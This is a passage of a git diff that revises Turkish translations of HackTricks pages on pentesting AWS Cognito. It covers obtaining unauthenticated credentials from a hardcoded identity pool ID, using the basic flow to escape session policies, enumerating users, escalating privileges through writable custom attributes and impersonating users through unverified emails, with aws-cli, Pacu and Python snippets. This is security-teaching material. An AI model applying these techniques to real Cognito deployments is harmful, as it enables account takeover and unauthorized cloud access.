(genellikle kaynak kodunda bulunur). [**Buradan nasıl yapılacağını kontrol edin**](cognito-user-pools.md#registration)**.** -## Yetki Yükseltme +## Privesc {{#ref}} ../../aws-privilege-escalation/aws-cognito-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index e27b85657..505722db2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -1,16 +1,16 @@ -# Cognito Identity Pools +# Cognito Kimlik Havuzları {{#include ../../../../banners/hacktricks-training.md}} ## Temel Bilgiler -Kimlik havuzları, kullanıcılarınızın **geçici kimlik bilgileri** edinmesini sağlayarak önemli bir rol oynar. Bu kimlik bilgileri, Amazon S3 ve DynamoDB dahil ancak bunlarla sınırlı olmamak üzere çeşitli AWS hizmetlerine erişim için gereklidir. Kimlik havuzlarının dikkat çekici bir özelliği, hem anonim misafir kullanıcıları hem de kullanıcı kimlik doğrulaması için çeşitli kimlik sağlayıcılarını desteklemeleridir. Desteklenen kimlik sağlayıcıları şunlardır: +Kimlik havuzları, kullanıcılarınızın **geçici kimlik bilgileri edinmesini** sağlayarak önemli bir rol oynar. Bu kimlik bilgileri, Amazon S3 ve DynamoDB dahil ancak bunlarla sınırlı olmamak üzere çeşitli AWS hizmetlerine erişim için gereklidir. Kimlik havuzlarının dikkat çekici bir özelliği, hem anonim misafir kullanıcıları hem de kullanıcı kimlik doğrulaması için çeşitli kimlik sağlayıcılarını desteklemeleridir. Desteklenen kimlik sağlayıcıları şunlardır: - Amazon Cognito kullanıcı havuzları - Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal oturum açma seçenekleri - OpenID Connect (OIDC) ile uyumlu sağlayıcılar - SAML (Güvenlik İddiası İşaretleme Dili) kimlik sağlayıcıları -- Geliştirici tarafından kimlik doğrulanan kimlikler +- Geliştirici kimlik doğrulamalı kimlikler ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -35,11 +35,11 @@ print(response) ``` ### Cognito Sync -Kimlik Havuzu oturumları oluşturmak için önce **bir Kimlik ID'si oluşturmanız** gerekir. Bu Kimlik ID'si, **o kullanıcının oturumunun tanımlayıcısıdır**. Bu tanımlayıcılar, 1MB'a kadar anahtar-değer çiftleri depolayabilen 20 veri kümesine kadar sahip olabilir. +Kimlik Havuzu oturumları oluşturmak için önce **bir Kimlik ID'si oluşturmanız** gerekir. Bu Kimlik ID'si, **o kullanıcının oturumunun tanımlayıcısıdır**. Bu tanımlayıcılar, 1MB'a kadar anahtar-değer çiftlerini depolayabilen 20'ye kadar veri kümesine sahip olabilir. Bu, **bir kullanıcının bilgilerini saklamak için faydalıdır** (her zaman aynı Kimlik ID'sini kullanacak olan). -Ayrıca, **cognito-sync** servisi, **bu bilgileri yönetmek ve senkronize etmek için** hizmettir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi göndererek...). +Ayrıca, **cognito-sync** servisi, **bu bilgileri yönetmek ve senkronize etmek** için kullanılan servistir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi gönderme...). ### Pentesting için Araçlar @@ -59,7 +59,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI aracıdır python'da, istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere Cognito üzerinde farklı saldırılar uygular. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir Python CLI aracıdır. #### Kurulum ```bash @@ -69,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin +Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin. ## IAM Rollere Erişim -### Kimlik Doğrulaması Olmayan +### Kimlik Doğrulaması Olmadan -Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında **AWS kimlik bilgilerini almak** için bilmesi gereken tek şey **Identity Pool ID**'dir ve bu **ID, web/mobil** **uygulamada** sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (bruteforce edilemez). +Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında **AWS kimlik bilgilerini almak** için bilmesi gereken tek şey **Kimlik Havuzu ID'sidir** ve bu **ID, web/mobil** **uygulamada** kullanılması için sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (bruteforce edilemez). > [!TIP] -> **IAM Cognito kimlik doğrulaması yapılmamış rolü varsayılan olarak** `Cognito_Unauth_Role` olarak adlandırılır. +> **IAM Cognito kimlik doğrulaması yapılmamış rolü varsayılan olarak** `Cognito_Unauth_Role` olarak adlandırılır. -Eğer sabit kodlanmış bir Identity Pools ID bulursanız ve bu kimlik doğrulaması yapılmamış kullanıcılara izin veriyorsa, AWS kimlik bilgilerini şu şekilde alabilirsiniz: +Eğer sabit kodlanmış bir Kimlik Havuzu ID'si bulursanız ve bu kimlik doğrulaması yapılmamış kullanıcılara izin veriyorsa, AWS kimlik bilgilerini şu şekilde alabilirsiniz: ```python import requests @@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Gelişmiş vs Temel Kimlik Doğrulama Akışı -Önceki bölüm **varsayılan gelişmiş kimlik doğrulama akışını** takip etti. Bu akış, oluşturulan IAM rol oturumu için **kısıtlayıcı** [**oturum politikası**](../../aws-basic-information/#session-policies) belirler. Bu politika, oturumun yalnızca [**bu listedeki hizmetleri kullanmasına**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) izin verecektir (rolün diğer hizmetlere erişimi olsa bile). +Önceki bölüm **varsayılan gelişmiş kimlik doğrulama akışını** takip etti. Bu akış, oluşturulan IAM rolü oturumu için **kısıtlayıcı** [**oturum politikası**](../../aws-basic-information/#session-policies) belirler. Bu politika, oturumun [**bu listedeki hizmetleri kullanmasına**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) izin verecektir (rolün diğer hizmetlere erişimi olsa bile). -Ancak, bunu aşmanın bir yolu vardır; eğer **Kimlik havuzu "Temel (Klasik) Akış" etkinse**, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu **kısıtlayıcı oturum politikası** olmayacaktır. +Ancak, eğer **Kimlik havuzu "Temel (Klasik) Akış" etkinse**, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu **kısıtlayıcı oturum politikası** olmayacaktır. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -131,11 +131,11 @@ aws cognito-identity get-open-id-token --identity-id --no-sign aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` > [!WARNING] -> Eğer bu **hata** mesajını alıyorsanız, bunun nedeni **temel akışın etkin olmamasıdır (varsayılan)** +> Eğer bu **hata** ile karşılaşırsanız, bunun nedeni **temel akışın etkin olmamasıdır (varsayılan)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Bir dizi IAM kimlik bilgisine sahip olduğunuzda, [hangi erişime sahip olduğunuzu kontrol etmelisiniz](../../#whoami) ve [yetkileri yükseltmeye çalışmalısınız](../../aws-privilege-escalation/). +Bir dizi IAM kimlik bilgisine sahip olduğunuzda, [hangi erişime sahip olduğunuzu kontrol edin](../../#whoami) ve [yetkileri yükseltmeye çalışın](../../aws-privilege-escalation/). ### Kimlik Doğrulanmış @@ -149,7 +149,7 @@ Bunun için **kimlik sağlayıcısına** erişiminiz olması gerekebilir. Eğer > [!TIP] > **IAM Cognito kimlik doğrulanmış rolü varsayılan olarak** `Cognito_Auth_Role` olarak adlandırılır. -Her neyse, **aşağıdaki örnek**, bir **Cognito Kullanıcı Havuzu** içinde oturum açmış olduğunuzu varsayıyor (diğer türdeki kimlik sağlayıcılarının da yapılandırılabileceğini unutmayın). +Her durumda, **aşağıdaki örnek**, **Kimlik Havuzuna** erişmek için kullanılan bir **Cognito Kullanıcı Havuzu** içinde zaten giriş yaptığınızı varsayıyor (diğer kimlik sağlayıcı türlerinin de yapılandırılabileceğini unutmayın).
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -161,8 +161,8 @@ aws cognito-identity get-credentials-for-identity \
 --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# IdToken içinde bir kullanıcının erişim sağladığı rolleri bulabilirsiniz çünkü Kullanıcı Havuzu Grupları
-# Belirli bir role erişim sağlamak için --custom-role-arn kullanın
+# IdToken içinde, bir kullanıcının Kullanıcı Havuzu Grupları nedeniyle erişebileceği rolleri bulabilirsiniz
+# Belirli bir role kimlik bilgilerini almak için --custom-role-arn kullanın
 aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
     --custom-role-arn <role_arn> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> Kullanıcının oturum açtığı kimlik sağlayıcısına veya sadece **kullanıcıya** (claim'leri kullanarak) bağlı olarak **farklı IAM rollerinin yapılandırılması mümkündür**. Bu nedenle, aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, **oturum açmak ve hepsinin IAM rollerine erişmek** faydalı olabilir. +> Kullanıcının giriş yaptığı kimlik sağlayıcısına veya sadece **kullanıcıya** bağlı olarak **farklı IAM rollerinin yapılandırılması mümkündür** (claim'leri kullanarak). Bu nedenle, eğer aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, **giriş yapmanın ve hepsinin IAM rollerine erişmenin** değeri olabilir. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index ad7880335..1d0aa3334 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,29 +4,29 @@ ## Temel Bilgiler -Kullanıcı havuzu, Amazon Cognito'daki bir kullanıcı dizinidir. Bir kullanıcı havuzu ile kullanıcılarınız **Amazon Cognito üzerinden web veya mobil uygulamanıza giriş yapabilir** veya **üçüncü taraf** bir kimlik sağlayıcı (IdP) aracılığıyla **federasyon** yapabilir. Kullanıcılarınız doğrudan veya bir üçüncü taraf aracılığıyla giriş yapsa da, kullanıcı havuzunun tüm üyeleri, bir SDK aracılığıyla erişebileceğiniz bir dizin profiline sahiptir. +Bir kullanıcı havuzu, Amazon Cognito'daki bir kullanıcı dizinidir. Bir kullanıcı havuzu ile kullanıcılarınız **Amazon Cognito üzerinden web veya mobil uygulamanıza giriş yapabilir** veya **üçüncü taraf** bir kimlik sağlayıcısı (IdP) aracılığıyla **federasyon** yapabilir. Kullanıcılarınız doğrudan veya bir üçüncü taraf aracılığıyla giriş yapsa da, kullanıcı havuzunun tüm üyeleri, bir SDK aracılığıyla erişebileceğiniz bir dizin profiline sahiptir. Kullanıcı havuzları şunları sağlar: - Kayıt ve giriş hizmetleri. -- Kullanıcıları giriş yaptırmak için yerleşik, özelleştirilebilir bir web arayüzü. +- Kullanıcıları giriş yaptırmak için yerleşik, özelleştirilebilir bir web UI. - Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal girişler ve kullanıcı havuzunuzdan SAML ve OIDC kimlik sağlayıcıları aracılığıyla. - Kullanıcı dizini yönetimi ve kullanıcı profilleri. -- Çok faktörlü kimlik doğrulama (MFA), ele geçirilmiş kimlik bilgileri kontrolü, hesap ele geçirme koruması ve telefon ve e-posta doğrulaması gibi güvenlik özellikleri. +- Çok faktörlü kimlik doğrulama (MFA), ele geçirilmiş kimlik bilgileri için kontroller, hesap ele geçirme koruması ve telefon ve e-posta doğrulaması gibi güvenlik özellikleri. - AWS Lambda tetikleyicileri aracılığıyla özelleştirilmiş iş akışları ve kullanıcı göçü. -Uygulamaların **kaynak kodu** genellikle **kullanıcı havuzu kimliği** ve **istemci uygulama kimliği** (ve bazen **uygulama sırrı**?) içerir; bunlar bir **kullanıcının** Cognito Kullanıcı Havuzuna **giriş yapması** için gereklidir. +Uygulamaların **kaynak kodu** genellikle **kullanıcı havuzu ID'si** ve **istemci uygulama ID'si** (ve bazen **uygulama sırrı**?) içerir; bunlar bir kullanıcının Cognito Kullanıcı Havuzuna **giriş yapması** için gereklidir. ### Potansiyel saldırılar - **Kayıt**: Varsayılan olarak bir kullanıcı kendini kaydedebilir, bu nedenle kendisi için bir kullanıcı oluşturabilir. -- **Kullanıcı numarası belirleme**: Kayıt işlevselliği, zaten mevcut olan kullanıcı adlarını bulmak için kullanılabilir. Bu bilgi, kaba kuvvet saldırısı için yararlı olabilir. -- **Giriş kaba kuvvet**: [**Kimlik Doğrulama**](cognito-user-pools.md#authentication) bölümünde bir kullanıcının **giriş yapması** için tüm **yöntemleri** bulabilirsiniz, bunları **geçerli kimlik bilgilerini bulmak için** kaba kuvvetle denemeyi deneyebilirsiniz. +- **Kullanıcı numaralandırma**: Kayıt işlevselliği, zaten mevcut olan kullanıcı adlarını bulmak için kullanılabilir. Bu bilgi, kaba kuvvet saldırısı için yararlı olabilir. +- **Giriş kaba kuvvet**: [**Kimlik Doğrulama**](cognito-user-pools.md#authentication) bölümünde bir kullanıcının **giriş yapması** için tüm **yöntemleri** bulabilirsiniz, bunları **geçerli kimlik bilgilerini bulmak için** kaba kuvvetle denemek isteyebilirsiniz. ### Pentesting için araçlar -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), artık bir hesapta tüm Cognito varlıklarının sayımını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. işaret eden `cognito__enum` ve `cognito__attack` modüllerini içeriyor ve ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel özniteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştiriyor.\ -Modüllerin işlevleri hakkında bilgi için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), artık bir hesapta tüm Cognito varlıklarının numaralandırılmasını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. işaret eden `cognito__enum` ve `cognito__attack` modüllerini içeriyor ve ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel özniteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştiriyor.\ +Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI aracıdır python'da, istenmeyen hesap oluşturma ve hesap oracle'ı dahil olmak üzere Cognito üzerinde farklı saldırılar uygular. Daha fazla bilgi için [bu bağlantıya](https://github.com/padok-team/cognito-scanner) bakın. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), istenmeyen hesap oluşturma ve hesap oracle'ı da dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir Python CLI aracıdır. Daha fazla bilgi için [bu bağlantıya](https://github.com/padok-team/cognito-scanner) bakın. ```bash # Install pip install cognito-scanner @@ -61,11 +61,11 @@ Kullanıcı hakkında **daha fazla ayrıntı sağlamanız gerektiğini** belirte ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` -Aşağıdaki gibi bir JSON ile gerekli bilgileri sağlayabilirsiniz: +Gerekli bilgileri aşağıdaki gibi bir JSON ile sağlayabilirsiniz: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` -Bu işlevselliği **mevcut kullanıcıları listelemek** için de kullanabilirsiniz. O isimle zaten bir kullanıcı varsa hata mesajı: +Bu işlevselliği **mevcut kullanıcıları listelemek** için de kullanabilirsiniz. O isimle zaten mevcut bir kullanıcı olduğunda hata mesajı: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` @@ -77,7 +77,7 @@ Ya da sadece bir istemci kimliğinin var olup olmadığını test etmek için. ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` -#### Sadece admin kullanıcıları kaydedebiliyorsa +#### Eğer yalnızca admin kullanıcıları kaydedebiliyorsa Bu hatayı bulacaksınız ve kullanıcıları kaydedemeyecek veya listeleyemeyeceksiniz: ``` @@ -92,11 +92,11 @@ aws cognito-idp confirm-sign-up --client-id \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Aynı e-posta ve telefon numarasını kullanabileceğiniz **gibi görünse de**, oluşturulan kullanıcıyı doğrulamanız gerektiğinde Cognito aynı bilgileri kullanmanız konusunda şikayet edecek ve **hesabı doğrulamanıza izin vermeyecek**. +> Aynı e-posta ve telefon numarasını kullanabileceğiniz gibi görünse de, oluşturulan kullanıcıyı doğrulamak istediğinizde Cognito aynı bilgilerin kullanıldığına dair şikayet edecek ve **hesabı doğrulamanıza izin vermeyecektir**. -### Yetki Yükseltme / Özellikleri Güncelleme +### Yetki Yükseltme / Nitelikleri Güncelleme -Varsayılan olarak bir kullanıcı **özelliklerinin değerini değiştirebilir** şöyle: +Varsayılan olarak bir kullanıcı **niteliklerinin değerini değiştirebilir** gibi bir şeyle: ```bash aws cognito-idp update-user-attributes \ --region us-east-1 --no-sign-request \ @@ -106,33 +106,33 @@ aws cognito-idp update-user-attributes \ #### Özel nitelik privesc > [!CAUTION] -> **Özel nitelikler** (örneğin `isAdmin`) kullanıldığını görebilirsiniz, çünkü varsayılan olarak **kendi niteliklerinizin değerlerini değiştirebilirsiniz**, bu nedenle değeri kendiniz değiştirerek **yetki yükseltebilirsiniz**! +> **Özel nitelikler** (örneğin `isAdmin`) kullanıldığını görebilirsiniz, çünkü varsayılan olarak **kendi niteliklerinizin değerlerini değiştirebilirsiniz**, bu da **yetki yükseltme** yapmanıza olanak tanıyabilir! #### E-posta/kullanıcı adı değiştirme privesc -Bir kullanıcının **e-posta ve telefon numarasını değiştirmek için** bunu kullanabilirsiniz, ancak o zaman, hesap doğrulanmış kalsa bile, bu nitelikler **doğrulanmamış durumda ayarlanır** (tekrar doğrulamanız gerekir). +Bir kullanıcının **e-posta ve telefon numarasını değiştirmek** için bunu kullanabilirsiniz, ancak o zaman, hesap doğrulanmış kalsa bile, bu nitelikler **doğrulanmamış durumda ayarlanır** (tekrar doğrulamanız gerekir). > [!WARNING] -> E-posta veya telefon numarası ile **giriş yapamayacaksınız** ta ki onları doğrulayana kadar, ancak **kullanıcı adı ile giriş yapabileceksiniz**.\ +> **E-posta veya telefon numarası ile giriş yapamayacaksınız** ta ki onları doğrulayana kadar, ancak **kullanıcı adı ile giriş yapabileceksiniz**.\ > E-posta değiştirilmiş ve doğrulanmamış olsa bile, **`email`** **alanında** ID Token içinde görünecektir ve **`email_verified`** alanı **false** olacaktır, ancak uygulama **bunu kontrol etmiyorsa diğer kullanıcıları taklit edebilirsiniz**. -> Ayrıca, **name** alanına sadece **name niteliğini** değiştirerek istediğiniz herhangi bir şeyi koyabileceğinizi unutmayın. Eğer bir uygulama **bu** alanı bir nedenle **`email`** (veya başka bir nitelik) yerine **kontrol ediyorsa**, diğer kullanıcıları **taklit edebilirsiniz**. +> Ayrıca, **`name`** alanına sadece **name niteliğini** değiştirerek istediğiniz her şeyi koyabileceğinizi unutmayın. Eğer bir uygulama **o alanı** bir nedenle **`email`** (veya başka bir nitelik) yerine **kontrol ediyorsa**, diğer kullanıcıları **taklit edebilirsiniz**. -Her neyse, e-posta adresinizi örneğin erişebileceğiniz yeni bir e-posta ile değiştirdiyseniz, o e-posta adresinde aldığınız kod ile **e-postayı onaylayabilirsiniz**: +Her neyse, e-posta adresinizi örneğin erişebileceğiniz yeni bir e-posta ile değiştirdiyseniz, o e-posta adresine aldığınız kod ile **e-postayı onaylayabilirsiniz**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ --attribute-name email --code \ --region --no-sign-request ``` -**`email`** yerine **`phone_number`** kullanarak **yeni bir telefon numarasını** değiştire/doğrulamak için. +**`telefon_numarası`** yerine **`email`** kullanarak **yeni bir telefon numarasını** değiştire/doğrulayın. > [!NOTE] > Yönetici, **kullanıcının tercih ettiği kullanıcı adıyla giriş yapma** seçeneğini de etkinleştirebilir. Bu değeri, **farklı bir kullanıcıyı taklit etmek için zaten kullanılan herhangi bir kullanıcı adı veya tercih edilen kullanıcı adı** olarak değiştiremeyeceğinizi unutmayın. ### Şifreyi Kurtarma/Değiştirme -Bir şifreyi kurtarmak, sadece **kullanıcı adını** (veya e-posta veya telefon kabul edilir) bilmek ve oraya bir kod gönderileceği için buna erişim sağlamak mümkündür: +Bir şifreyi kurtarmak, sadece **kullanıcı adını** (veya email veya telefon kabul edilir) bilmek ve oraya bir kod gönderileceği için buna erişim sağlamak mümkündür: ```bash aws cognito-idp forgot-password \ --client-id \ @@ -141,7 +141,7 @@ aws cognito-idp forgot-password \ > [!NOTE] > Sunucunun yanıtı her zaman olumlu olacak, sanki kullanıcı adı varmış gibi. Bu yöntemi kullanıcıları listelemek için kullanamazsınız. -Kod ile şifreyi şu şekilde değiştirebilirsiniz: +Şifreyi şu kodla değiştirebilirsiniz: ```bash aws cognito-idp confirm-forgot-password \ --client-id \ @@ -158,13 +158,13 @@ aws cognito-idp change-password \ ``` ## Kimlik Doğrulama -Bir kullanıcı havuzu **farklı kimlik doğrulama yollarını** destekler. Eğer bir **kullanıcı adı ve şifre** varsa, giriş yapmak için de **farklı yöntemler** desteklenir.\ -Ayrıca, bir kullanıcı Havuzda kimlik doğrulandığında **3 tür token verilir**: **ID Token**, **Erişim token** ve **Yenileme token**. +Bir kullanıcı havuzu **farklı kimlik doğrulama yöntemlerini** destekler. Eğer bir **kullanıcı adı ve şifre** varsa, giriş yapmak için de **farklı yöntemler** desteklenir.\ +Ayrıca, bir kullanıcı Havuzda **3 tür token verilir**: **ID Token**, **Erişim token'ı** ve **Yenileme token'ı**. -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Bu, **kimliği doğrulanmış kullanıcının** `name`, `email` ve `phone_number` gibi iddialarını içerir. ID token, ayrıca **kullanıcıları kaynak sunucularınıza veya sunucu uygulamalarınıza kimlik doğrulamak için** de kullanılabilir. Dış uygulamalarda kullanıyorsanız, ID token içindeki herhangi bir iddiaya güvenmeden önce **imzayı doğrulamalısınız**. -- ID Token, **kullanıcının** özellik değerlerini, hatta özel olanları **içeren token'dır**. -- [**Erişim Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Bu, kimliği doğrulanmış kullanıcı hakkında iddialar, **kullanıcının gruplarının listesi ve kapsamların listesi** içerir. Erişim token'ın amacı, kullanıcı havuzundaki kullanıcı bağlamında **API işlemlerini yetkilendirmektir**. Örneğin, erişim token'ını kullanarak **kullanıcınıza** kullanıcı özelliklerini ekleme, değiştirme veya silme izni verebilirsiniz. -- [**Yenileme Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Yenileme token'ları ile kullanıcı için **yeni ID Token ve Erişim Token** alabilirsiniz, ta ki **yenileme token geçersiz olana kadar**. **Varsayılan olarak**, yenileme token'ı, uygulama kullanıcınızın kullanıcı havuzuna giriş yaptığı tarihten **30 gün sonra süresi dolmaktadır**. Kullanıcı havuzunuz için bir uygulama oluşturduğunuzda, uygulamanın yenileme token süresini **60 dakika ile 10 yıl arasında herhangi bir değere** ayarlayabilirsiniz. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Bu, **kimliği doğrulanmış kullanıcının** `name`, `email` ve `phone_number` gibi iddialarını içerir. ID token'ı ayrıca **kullanıcıları kaynak sunucularınıza veya sunucu uygulamalarınıza kimlik doğrulamak için** de kullanılabilir. Dış uygulamalarda kullanıyorsanız, ID token içindeki herhangi bir iddiayı güvenilir kılmadan önce **imzayı doğrulamalısınız**. +- ID Token, **kullanıcının özellik değerlerini** içeren token'dır, hatta özel olanları bile. +- [**Erişim Token'ı**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Bu, kimliği doğrulanmış kullanıcı hakkında iddialar, **kullanıcının gruplarının listesi** ve **kapsamların listesi** içerir. Erişim token'ının amacı, kullanıcı havuzundaki kullanıcı bağlamında **API işlemlerini yetkilendirmektir**. Örneğin, erişim token'ını kullanarak **kullanıcınıza kullanıcı özelliklerini ekleme, değiştirme veya silme** izni verebilirsiniz. +- [**Yenileme Token'ı**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Yenileme token'ları ile kullanıcı için **yeni ID Token'ları ve Erişim Token'ları** alabilirsiniz, ta ki **yenileme token'ı geçersiz olana kadar**. **Varsayılan olarak**, yenileme token'ı, uygulama kullanıcınız kullanıcı havuzunuza giriş yaptığında **30 gün sonra süresi dolmaktadır**. Kullanıcı havuzunuz için bir uygulama oluşturduğunuzda, uygulamanın yenileme token'ı süresini **60 dakika ile 10 yıl arasında herhangi bir değere** ayarlayabilirsiniz. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -243,10 +243,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Bu yöntem, başka bir basit ve **geleneksel kullanıcı ve şifre kimlik doğrulama** akışıdır. **Geleneksel** kimlik doğrulama yöntemini **Cognito'ya** **geçirmeniz** ve ardından **devre dışı bırakmanız** ve bunun yerine **ALLOW_USER_SRP_AUTH** yöntemini **kullanmanız** önerilir (çünkü bu yöntem şifreyi ağ üzerinden asla göndermez).\ -Bu **yöntem varsayılan olarak ETKİN DEĞİLDİR**. +Bu yöntem, başka bir basit ve **geleneksel kullanıcı ve şifre kimlik doğrulama** akışıdır. **Geleneksel** bir kimlik doğrulama yönteminin **Cognito'ya** **geçirilmesi** ve ardından **devre dışı bırakılması** ve bunun yerine **ALLOW_USER_SRP_AUTH** yönteminin **kullanılması** önerilir (çünkü bu yöntem şifreyi ağ üzerinden asla göndermez).\ +Bu **yöntem varsayılan olarak ETKİN değildir**. -Kod içindeki **önceki kimlik doğrulama yöntemine** göre ana **fark**, **kullanıcı havuzunun kimliğini bilmenize** gerek olmaması ve Cognito Kullanıcı Havuzunda **ek izinlere** ihtiyaç duymamanızdır. +Kod içindeki **önceki kimlik doğrulama yöntemi** ile ana **fark**, **kullanıcı havuzunun kimliğini bilmenize gerek olmamasıdır** ve **Cognito Kullanıcı Havuzunda ek izinlere** ihtiyacınız yoktur. **Giriş yapmak için** bilmeniz **gerekir**: @@ -256,7 +256,7 @@ Kod içindeki **önceki kimlik doğrulama yöntemine** göre ana **fark**, **kul - istemci sırrı (sadece uygulama bir sır kullanacak şekilde yapılandırılmışsa) > [!NOTE] -> Bu yöntemle **giriş yapabilmek için** o uygulamanın ALLOW_USER_PASSWORD_AUTH ile giriş yapmasına izin vermesi gerekir. +> Bu yöntemle **giriş yapabilmek için**, o uygulamanın ALLOW_USER_PASSWORD_AUTH ile giriş yapmasına izin vermesi gerekir. ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -310,10 +310,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Bu senaryo, önceki senaryoya benzer ancak **şifreyi** ağa gönderme yerine **bir zorluk kimlik doğrulaması gerçekleştirilir** (yani şifre, şifreli bile olsa ağ üzerinden geçmez).\ +Bu senaryo, önceki senaryoya benzer ancak **şifreyi göndermek yerine** bir **challenge authentication gerçekleştirilir** (yani şifre, şifreli bile olsa ağ üzerinden geçmez).\ Bu **yöntem varsayılan olarak etkindir**. -**Giriş yapmak** için **şunları bilmeniz gerekir**: +Giriş yapmak için 